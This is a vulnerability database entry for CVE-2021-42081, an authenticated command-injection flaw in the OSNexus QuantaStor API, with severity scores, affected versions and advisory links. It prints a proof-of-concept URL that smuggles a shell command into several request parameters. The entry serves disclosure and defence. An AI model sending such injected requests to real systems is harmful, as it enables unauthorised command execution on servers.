CVE-2021-42081
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CVE-2021-42081 is a high-severity vulnerability rated 7.2/10 on the CVSS scale. An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al. EPSS estimates a 0.99% chance of exploitation in the next 30 days.
Description
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Metrics
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weakness Enumeration
Affected Software
| Vendor | Product | Versions |
|---|---|---|
| Osnexus | Quantastor | < 6.0.0.355 |
References
- https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
- https://www.wbsec.nl/osnexusThird Party Advisory
- https://csirt.divd.nl/CVE-2021-42081Third Party Advisory
- https://www.wbsec.nl/osnexusThird Party Advisory
Timeline
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- Status
- Modified
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